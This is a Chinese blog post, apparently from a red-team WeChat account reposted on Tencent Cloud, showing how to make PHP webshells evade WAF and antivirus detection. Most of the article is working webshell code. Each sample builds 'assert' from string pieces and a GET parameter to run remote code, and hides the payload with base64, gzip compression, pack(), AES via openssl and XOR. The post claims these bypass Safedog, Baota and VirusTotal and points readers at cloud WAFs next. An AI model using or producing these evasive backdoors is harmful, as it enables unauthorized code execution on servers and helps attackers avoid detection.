首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >什么?你还不会webshell免杀?(一)

什么?你还不会webshell免杀?(一)

作者头像
红队蓝军
发布2022-07-06 15:59:36
1.2K0
发布2022-07-06 15:59:36
举报
文章被收录于专栏:红队蓝军红队蓝军

webshell免杀(一):字符串变形

1.简单字符串拼接

<?php
$func = $_GET["func"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);
?>

免杀效果

某狗4.0

可以看到这里非常简单的混淆就能绕过安全狗

某塔最新收费waf

可以看到这简单的混淆是无法绕过宝塔的

但是如果我们不使用敏感函数作为参数的话

还是可以发现其实只是过滤参数里的内容,其实依旧比较好绕过,下下面的字符串处理中,我们会使用到函数来进行流量加密和代码加密

2.利用字符串函数

ucwords()  //把每个单词的首字符转换为大写
ucfirst()  //首字符转换为大写
trim()  //移除字符串两侧的字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr()  //函数返回字符串的一部分
strtr()  //函数转换字符串中特定的字符
strtoupper()  //把所有字符转换为大写
strtolower()  //把所有字符转换为小写
strtok()  //函数把字符串分割为更小的字符串
str_rot13()  //函数对字符串执行 ROT13 编码
chr()  //从指定 ASCII 值返回字符
hex2bin() //把十六进制值转换为 ASCII 字符
bin2hex() //ASCII 字符的字符串转换为十六进制值
gzcompress()、gzdeflate()、gzencode()  //字符串压缩
gzuncompress()、gzinflate()、gzdecode()  //字符串解压
base64_encode()  //base64编码
base64_decode()  //nase64解码
pack()  //数据装入一个二进制字符串
unpack()  //从二进制字符串对数据进行解包

在这里我们使用base64加参数加密

<?php
$func = base64_decode($_GET["func"]);
#cGhwaW5mbygp
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);
?>

可以看到绕过,成功了。。。。。可以看到对于收费的waf而言依旧比较好绕过,其实在webshell上的查杀大部分都是在于规则上的匹配,对于php而言如果想绕过的话基本上都是"功夫不负有心人",只要去花时间都是可以绕过的。如何在根本上去减少webshell带给服务器的危险,其实直接禁用一些关键函数,和不使用有危险的扩展是非常有效的方法。虽说现在我们已经绕过了常见的waf,但是在真正的渗透中,目标都使用的是更高级的云waf,不但规则更新的比较快而且,还会将被拦截webshell进行记录,存在被溯源,和绕过的新思路被发现的可能,因此学习更多的混淆技巧,是比较重要的。

接下来讲解一下不常用的函数

gzcompress系列

<?php
$a = gzcompress("abc");
echo "压缩后: ".$a;

echo "<br>解压后: ".gzuncompress($a);
?>

可以看到这里解压后的内容变成了一堆乱码,在这里值得注意的是,如果我们利用方式依旧像base64一样是行不通,因为这一串乱码是无法提过字符串的形式准确的返回给服务端的

这里笔者提供两个思路:

1.base64编码

再次利用base64编码,如果没有经验的兄弟可能会认为这是多此一举,我直接用base64不就完了么,其实在真正的对抗当中,很多安全设备是可以识别base64编码的,可以自动解码判断解码后的内容。这一不其实就是为了,防止被解码后,内容被识别

<?php
$func = gzuncompress(base64_decode($_GET["func"]));
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);
?>

2.伪装成文件,以二进制方式传输

这种发送迷惑性比较大,很少有waf会去识别二进制流中的内容,顶多就是一些简单的正则表达式去匹配一些字符串,乱码根本就不全去识别

由于不能直接防止粘贴,因此需要在本地生成二进制文件

<?php
$a = gzcompress("phpinfo();");
file_put_contents("123.txt",$a);
?>

在本地搭建一个上传页面只为获取数据包

源码如下

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8" />
    <title>文件上传</title>
</head>
<body>
<form method="post" enctype="multipart/form-data" action="">
    <input type="file" name="filename">
    <button type="submit" >上传</button>
</form>
</body>
</html>
<?php
printf($_FILES);

可以看到这些后缀和mime这些都是文件上传的敏感点,只要我们不去触发的话,waf还是会对我们很信任的

可以看到这里执行了phpinfo,关键在于这串字符是非常难解析的,一般的waf是无法解析出来的

pack系列

<?php

$func=pack("H14","706870696e666f");

$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);

如果有经验的同学可能会觉得这个和hex2bin非常相似,其实pack函数比hex2bin强大的多

语法:

unpack(format,data)

data。规定被解包的二进制数据。

format。规定在解包数据时所使用的格式。
可能的值:

a - NUL 填充的字符串
A - SPACE 填充的字符串
h - 十六进制字符串,低位在前
H - 十六进制字符串,高位在前
c - signed char
C - unsigned char
s - signed short(总是16位, machine 字节顺序)
S - unsigned short(总是16位, machine 字节顺序)
n - unsigned short(总是16位, big endian 字节顺序)
v - unsigned short(总是16位, little endian 字节顺序)
i - signed integer(取决于 machine 的大小和字节顺序)
I - unsigned integer(取决于 machine 的大小和字节顺序)
l - signed long(总是32位, machine 字节顺序)
L - unsigned long(总是32位, machine 字节顺序)
N - unsigned long(总是32位, big endian 字节顺序)
V - unsigned long(总是32位, little endian 字节顺序)
f - float(取决于 machine 的大小和表示)
d - double(取决于 machine 的大小和表示)
x - NUL 字节
X - 备份一个字节
Z - NUL 填充的字符串
@ - NUL 填充绝对位置

此函数提供了多中格式,可以将文件或者流量变得更加复杂

3.加密函数与自写加密函数

openssl加密函数:

openssl_encrypt方法详解:

openssl_encrypt($data, $method, $key, $options = 0, $iv = "", &$tag = NULL, $aad = "", $tag_length = 16)

参数:

1.$data:加密明文
2.$method:加密方法: 可以通过openssl_get_cipher_methods()获取有哪些加密方式
3.$passwd:加密密钥[密码]
4.$options:数据格式选项(可选)【选项有:】:0,OPENSSL_RAW_DATA=1,OPENSSL_ZERO_PADDING=2,OPENSSL_NO_PADDING=3
5.$iv:密初始化向量(可选),需要注意:如果method为DES−ECB,则iv无需填写
6.$tag:使用 AEAD 密码模式(GCM 或 CCM)时传引用的验证标签(可选)
7.$aad:附加的验证数据。(可选)
8.$tag_length:验证 tag 的长度。GCM 模式时,它的范围是 4 到 16(可选)

openssl_decrypt方法详解:

openssl_decrypt($data, $method, $password, $options = 1, $iv = "", $tag = "",  $aad = "")
参数:

1.$data:要解密的加密消息。
2.$method:解密方法:可以通过openssl_get_cipher_methods()获取有哪些解密方式
3.$passwd:解密密钥[密码]
4.$options:数据格式选项(可选)【选项有:】0,OPENSSL_RAW_DATA=1,OPENSSL_ZERO_PADDING=2,OPENSSL_NO_PADDING=3
5.$iv:密初始化向量(可选),需要注意:如果method为DES−ECB,则iv无需填写
6.$tag:AEAD密码模式下的身份验证标签(可选)
7.$aad:附加的验证数据。(可选)

函数基本使用:

<?php
// 要加密的字符串
$data = 'demo';
// 密钥
$key = '123456';
// 加密数据 'AES-128-ECB' 可以通过openssl_get_cipher_methods()获取
$encrypt = openssl_encrypt($data, 'AES-128-ECB', $key, 0);
echo "加密后: ".$encrypt;

//密钥
$key = '123456';
// 解密数据
$decrypt = openssl_decrypt($encrypt, 'AES-128-ECB', $key, 0);
echo "<br>解密后: ".$decrypt;

实际利用:

<?php
$key = "password";

$fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key, 0);
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

自己写加密算法

这种方式也比较简单,在很多ctf题目中都喜欢考与,或,取反,异或等进行绕过,其中可以直接用他们进行加密操作,当然如果学过密码学,一些简单的加密方式其实也行,凯莎密码,维吉尼亚密码,替换加密等都是可以尝试的,但是更复杂的算法还是建议,能使用现成的扩展就直接用,没必要花太多时间去研究这些算法。

下面就以异或加密为例:

<?php
<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

在看一下vt的查杀率

可以看到这没有一个查出来,讲了这么多,大家其实已经发现的webshell的免杀远比木马免杀容易得多,其实我们的目光不能再放在什么某狗,某盾,某塔,这些waf上,应该将目标定为于新型的云waf上。当然这只是免杀的一部分,后面还有继续讲解其他免杀方式。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-06-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • webshell免杀(一):字符串变形
    • 1.简单字符串拼接
      • 免杀效果
      • 某狗4.0
      • 某塔最新收费waf
    • 2.利用字符串函数
      • gzcompress系列
      • pack系列
    • 3.加密函数与自写加密函数
      • openssl加密函数:
      • 自己写加密算法
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档